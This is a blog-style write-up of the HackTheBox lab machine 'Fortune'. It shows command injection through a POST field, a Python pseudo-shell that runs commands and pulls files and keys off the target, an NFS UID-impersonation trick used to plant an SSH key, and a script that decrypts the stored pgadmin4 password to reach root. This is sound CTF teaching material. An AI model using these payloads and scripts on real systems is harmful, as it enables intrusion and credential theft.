HackTheBox Fortune write-up

(Difficulty: Insane)

Reconnaissance


PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
nmap -A -v -sS -f -T4 -p- -oN nmap.txt 10.10.10.127

After visiting port 80 I am greeted with this interesting page

I try a few submissions and I notice nothing of interest so I attempt malicious POST requests in addition to the radiobox option chosen. The vulnerability does appear to be remote code execution which was discovered by adding a semicolon to finish the command and execute a new one

curl -X POST -d 'db=fortunes;id' http://10.10.10.127/select

I get the more random information alongside the results of my 'id' command output

<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>

Beware of low-flying butterflies.
uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)


</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>
</html>
🦋🗡️

Unfortunately, more than 6 reverse shell methods did not work, potentially due to firewall settings. As much as I like to use Burpsuite or cURL to continue my commands, navigating an operating system is not going to be fun while repeating the same request and substituting the POST data. I initially attempted to look for private keys in the home directories but as I did not have permissions to access them, I decided to write my own psuedo-shell script in Python with an exfiltration command to save files of interest

#!/usr/bin/env python3
import requests
import re
import html
import os
cmd, fpath, fname, data = '', '', '', 'db=fortunes2'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
print("""\033[94mPsuedo-shell by /ar/sh for HTB's Fortune.\nThis is a non-interactive prompt (i.e. 'cd', 'vi', or 'top' will not work)
- exfil to download a file (ex. exfil /etc/passwd) 
- exit to leave the psuedo-shell prompt\033[39m""")

def filteroutput(resp):
    r = re.compile('-=-=-(.*\n?)-=-=-', re.DOTALL)
    output = r.findall(resp)
    if output: return html.unescape("\n".join(output[0].split('\n')[:-1]))

while True:
    cmd = input('\033[93m$ ')
    fname = ''
    if cmd == 'exit': break
    if cmd != '' and cmd != ' ' and cmd != '\t':
        if 'exfil' in cmd:
            fpath = cmd.split()
            if fpath:
                if len(fpath) > 1:
                    fname = fpath[1].split('/')[-1]
                    data = 'db=fortunes2;echo -n -=-=-;cat {f};echo -n -=-=-'.format(f=fpath[1])
        else:
            data = 'db=fortunes2;echo -n -=-=-;{c};echo -n -=-=-'.format(c=cmd)
        response = filteroutput(requests.post('http://10.10.10.127/select', headers=headers, data=data, verify=False).content.decode('utf-8',''))
        if response:
            if fname:
                savepath = os.path.join(os.getcwd(), fname)
                with open(savepath, 'w') as file: file.write(response)
                print('\033[92mSaved {n} to {d}'.format(n=fname, d=savepath))   
            else:
                print("\033[39m" + response)
        else:
            print('\033[91mInvalid command, file not found, file empty, or permission denied')
shell.py

python3 shell.py

And to continue my reconnaissance I scout the home directories

ls -Rlash /home

I discover an interesting certificate authority directory in bob's home directory which is filled with certificates and private keys. Remembering port 443 being open, I decide to check from my machine if client browser certificates are required for that service

openssl s_client -connect 10.10.10.127:443

Verify return code: 20 (unable to get local issuer certificate)

And that confirms my theory. So I need to grab a certificate and private key pair to see what is being served on port 443.

During my enumeration I discovered user accounts with shells

root:*:0:0:Charlie &:/root:/bin/ksh
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
_postgresql:*:503:503:PostgreSQL Manager:/var/postgresql:/bin/sh
_pgadmin4:*:511:511::/usr/local/pgadmin4:/usr/local/bin/bash
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
cat /etc/passwd | egrep -v 'sync|nologin|false'

After some browsing I discover the pair that I can read so I save them locally using my script (shell.py)

exfil /home/bob/ca/intermediate/certs/intermediate.cert.pem

exfil /home/bob/ca/intermediate/private/intermediate.key.pem

I should be able to use these as is but for a browser such as Firefox, their format needs to be converted from PEM to PKCS12 locally

openssl pkcs12 -export -inkey intermediate.key.pem -in intermediate.cert.pem -out intermediate.pkcs12.pfx

Firefox -> Preferences -> Search -> Certificates -> View Certificates -> Your Certificates -> Import -> intermediate.pkcs12.pfx

https://10.10.10.127
You will need to use the local authpf service to obtain elevated network access. If you do not already have the appropriate SSH key pair, then you will need to generate one and configure your local system appropriately to proceed.

Being in a mood for scripting, I decided to make a script to save the private key from the generation page rather than: copy to clipboard -> remove new lines (\n) -> save to a file -> change file permissions for my OpenSSH client to not complain about the key being too accessible

#!/usr/bin/env python3
import requests
import re
import os
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.filterwarnings("ignore")
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
session.cert = ('intermediate.cert.pem', 'intermediate.key.pem')
s = session.get('https://10.10.10.127/generate', verify=False)
raw = s.content.decode('utf-8','')
r = re.compile(r'(-----BEGIN .+?-----(?s).+?-----END .+?-----)', re.DOTALL)
private_key = r.findall(raw)
if private_key:
	with open('exported-id_rsa', 'w') as f: f.write(private_key[0])
	os.chmod('exported-id_rsa', 0o600)
	print('Exported private key to exported-id_rsa')
else: 
	print('Failed retrieving private key')
getkey.py

python3 getkey.py

I attempt to use this key for all accounts but it is only authorized for the nfsuser account

ssh -i exported-id_rsa nfsuser@10.10.10.127

This is not really a shell as I saw in the passwd file. This tunnel elevates my network privileges. Essentially, I now have access to more ports that were previously inaccessible to unauthenticated users

PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp    open     http         OpenBSD httpd
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp   open     rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          805/udp  mountd
|_  100005  1,3          902/tcp  mountd
443/tcp   open     ssl/https?
|_ssl-date: TLS randomness does not represent time
617/tcp   filtered sco-dtmgr
902/tcp   open     mountd       1-3 (RPC #100005)
1847/tcp  filtered slp-notify
2049/tcp  open     nfs          2-3 (RPC #100003)
8081/tcp  open     http         OpenBSD httpd
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4
8293/tcp  filtered hiperscan-id
11225/tcp filtered unknown
15506/tcp filtered unknown
17167/tcp filtered unknown
17456/tcp filtered unknown
17884/tcp filtered unknown
19061/tcp filtered unknown
26004/tcp filtered unknown
26399/tcp filtered unknown
26490/tcp filtered unknown
28169/tcp filtered unknown
33232/tcp filtered unknown
34374/tcp filtered unknown
34697/tcp filtered unknown
48495/tcp filtered unknown
50340/tcp filtered unknown
52445/tcp filtered unknown
55286/tcp filtered unknown
56171/tcp filtered unknown
57857/tcp filtered unknown
58089/tcp filtered unknown
59685/tcp filtered unknown
60605/tcp filtered unknown
nmap -A -v -sS -f -T4 -p- -oN nmap-auth.txt 10.10.10.127

The NFS service is now "unlocked".

I did not have the packages for common NFS tools installed on my Kali machine

apt install -y nfs-common

To see mounted NFS directories

showmount -e 10.10.10.127

Export list for 10.10.10.127:
/home (everyone)

To mount the /home shared directory

mkdir fortunehome

mount -t nfs 10.10.10.127:/home fortunehome

To un-mount (when the directory is no longer needed later on)

umount -lf fortunehome

Foothold


ls -la fortunehome

drwxr-x--- 3 1000   1000  512 Nov  5  2018 charlie

Network shares on Linux sometimes have a serious security issue as they may not verify permissions on the mounted-end. What I mean is that any user that has mounted this directory with a UID of 1000 or GID of 1000 has access to this directory even if that user account with the same UID does not exist on the server with the NFS service running

If you have a user account with a UID of 1000 you can change to that user to access Charlie's home directory

su $(grep ':1000:1000:' /etc/passwd | cut -d ':' -f1)

I do not have any users on my local computer with that UID (1000 and above are normal user accounts) so I have to make one

useradd --uid 1000 --shell /bin/bash evilcharlie

su evilcharlie

At this point, I have access to Charlie's home directory so I am able to establish a solid foothold by whitelisting my SSH public key and using the private key assocaited with that public key to login as Charlie

ssh-keygen

cat ~/.ssh/id_rsa.pub >> fortunehome/charlie/.ssh/authorized_keys

ssh -i ~/.ssh/id_rsa charlie@10.10.10.127

Privilege escalation


cat /home/charlie/mbox

Hi Charlie,
Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.
Cheers,
Bob

This message from Bob gives me a hint to obtain root. I would have to crack the local PostgreSQL server's dba account's password or find it being used in a script/configuration file somewhere.

I decided to narrow down my search

find / -name 'pgadmin4' -ls 2>/dev/null

Of the entries found, this was one that stood out to me

/var/appsrv/pgadmin4

ls -la /var/appsrv/pgadmin4

I found what appears to be a database file

pgadmin4.db

I decide to grab this database file from my machine

scp -i ~/.ssh/id_rsa charlie@10.10.10.127:/var/appsrv/pgadmin4/pgadmin4.db pgadmin4.db

One good tool to browse database files is DB Browser for SQLite which is already installed on my Kali machine

sqlitebrowser pgadmin4.db

I noticed three tables that were interesting while browsing the data

keys
CSRF_SESSION_KEY saQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=
SECRET_KEY R_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=
SECURITY_PASSWORD_SALT qIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=
server
username pga
password utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
user
charlie@fortune.htb $pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
bob@fortune.htb $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg

I attempt to crack those hashes using hashcat, but as I did not quickly discover the password in a common password list such as rockyou.txt, I decided that was not the route to privilege escalation. The next option was to find a way to decrypt those ciphertexts using the information available.

The other directory that stood out to me in that find command was this one

/usr/local/pgadmin4

This tool's source code appears to be publicly available on Github after I discovered a README file so I decided to download it to my machine

git clone https://github.com/postgres/pgadmin4

I decide to find the component used for encryption in this application

egrep -Ril 'encrypt|decrypt' pgadmin4

pgadmin4/web/pgadmin/utils/crypto.py

cat pgadmin4/web/pgadmin/utils/crypto.py

This File Provides Cryptography.

Well that was quick!

def encrypt(plaintext, key)
def decrypt(ciphertext, key)

I decide to try both PBKDF2 SHA512 hashes I found earlier as the key, as hashing algorithms are often used to store password's hashes and those hashes are often used in the encryption process. Bob's user hash had a successful trial.

Here is a simplified example in psuedo-code if you are not familiar or comfortable with Cryptography.

Encryption

AES encrypt('Password123', SHA256('Some other secret password'))

Which translates to

AES encrypt('Password123', '720d7aba7095f0269ee2e314350ee00433bb3d579b4b5775bed4260b81373367')

Which outputs the ciphertext of d9d3cfc70a8f6b65709dcf

As AES is a symmetric-key algorithm, it can be decrypted with the correct key

Decryption

AES decrypt('d9d3cfc70a8f6b65709dcf','720d7aba7095f0269ee2e314350ee00433bb3d579b4b5775bed4260b81373367')

While outputs the plaintext of Password123

You can see this example in action here

So I decided to grab only the required functions for decryption and put them in a quick script

import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
padding_string = b'}'

def decrypt(ciphertext, key):
    global padding_string
    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(pad(key), AES.MODE_CFB, iv)
    decrypted = cipher.decrypt(ciphertext[AES.block_size:])
    return decrypted

def pad(key):
    global padding_string
    str_len = len(key)
    if str_len > 32: return key[:32]
    if str_len == 16 or str_len == 24 or str_len == 32: return key
    if not hasattr(str, 'decode'): padding_string = padding_string.decode()
    return key + ((32 - str_len % 32) * padding_string)
    
dba_pass_as_ciphertext = 'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz'
bob_hash_as_key = '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg'

print(decrypt(dba_pass_as_ciphertext, bob_hash_as_key).decode('utf-8'))
decrypt.py

python3 decrypt.py

R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

As Bob mentioned in his note to Charlie, the PostgreSQL password is the same as the root password

su -

cat /home/charlie/user.txt /root/root.txt

I had a lot of fun writing scripts for this machine. I hope you enjoyed it as much as i did! :)

Thanks for this cool box AuxSarge!
Author image
I like popping shells and setting up cloud stuff

Recent Posts

HackTheBox Fortune write-up
September 07, 2019
HackTheBox Netmon write-up
June 30, 2019
HackTheBox Querier write-up
June 22, 2019
HackTheBox Help write-up
June 08, 2019